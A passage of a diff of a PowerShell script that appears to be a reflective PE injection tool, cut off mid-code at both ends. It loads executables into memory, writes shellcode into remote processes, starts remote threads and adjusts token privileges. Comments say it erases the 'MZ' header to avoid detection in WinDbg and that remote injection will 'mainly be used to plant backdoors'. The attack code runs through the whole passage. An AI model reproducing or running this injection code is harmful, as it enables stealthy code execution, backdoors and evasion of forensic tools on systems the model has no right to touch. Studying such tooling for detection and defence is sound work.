$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR - } - if ($PELoadedInfo -eq [IntPtr]::Zero) - { - Throw "Unable to load PE, handle returned is NULL" - } - - $PEHandle = $PELoadedInfo[0] - $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process - - - #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) - { - ######################################### - ### YOUR CODE GOES HERE - ######################################### - switch ($FuncReturnType) - { - 'WString' { - Write-Verbose "Calling function with WString return type" - [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" - if ($WStringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) - [IntPtr]$OutputPtr = $WStringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) - Write-Output $Output - } - - 'String' { - Write-Verbose "Calling function with String return type" - [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" - if ($StringFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) - $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) - [IntPtr]$OutputPtr = $StringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) - Write-Output $Output - } - - 'Void' { - Write-Verbose "Calling function with Void return type" - [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if ($VoidFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $VoidFuncDelegate = Get-DelegateType @() ([Void]) - $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) - $VoidFunc.Invoke() | Out-Null - } - } - ######################################### - ### END OF YOUR CODE - ######################################### - } - #For remote DLL injection, call a void function which takes no parameters - elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) - { - Throw "VoidFunc couldn't be found in the DLL" - } - - $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle - $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle - - #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions - } - - #Don't free a library if it is injected in a remote process or if it is an EXE. - #Note that all DLL's loaded by the EXE will remain loaded in memory. - if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") - { - Invoke-MemoryFreeLibrary -PEHandle $PEHandle - } - else - { - #Delete the PE file from memory. - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - Write-Verbose "Done!" - } - - Main -} + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } -#Main function to either run the script locally or remotely -Function Main -{ - if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) - { - $DebugPreference = "Continue" - } - - Write-Verbose "PowerShell ProcessID: $PID" - - #Verify the image is a valid PE file - $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } - if ($e_magic -ne 'MZ') + Function Create-RemoteThread { - throw 'PE is not a valid PE file.' + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop + } + + return $RemoteThreadHandle } - if (-not $DoNotZeroMZ) { - # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg - # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. - $PEBytes[0] = 0 - $PEBytes[1] = 0 - } - - #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) - if ($ExeArgs -ne $null -and $ExeArgs -ne '') - { - $ExeArgs = "ReflectiveExe $ExeArgs" - } - else - { - $ExeArgs = "ReflectiveExe" - } - - if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) - } - else - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName - } + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [IntPtr] + $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) + + [Parameter(Position=3, Mandatory=$true)] + [Bool] + $LoadByOrdinal + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal + #If not loading by ordinal, write the function name to the remote process memory + if (-not $LoadByOrdinal) + { + $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + } + #If loading by ordinal, just set RFuncNamePtr to be the ordinal number + else + { + $RFuncNamePtr = $FunctionNamePtr + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + #Cleanup remote process memory + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + if (-not $LoadByOrdinal) + { + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt 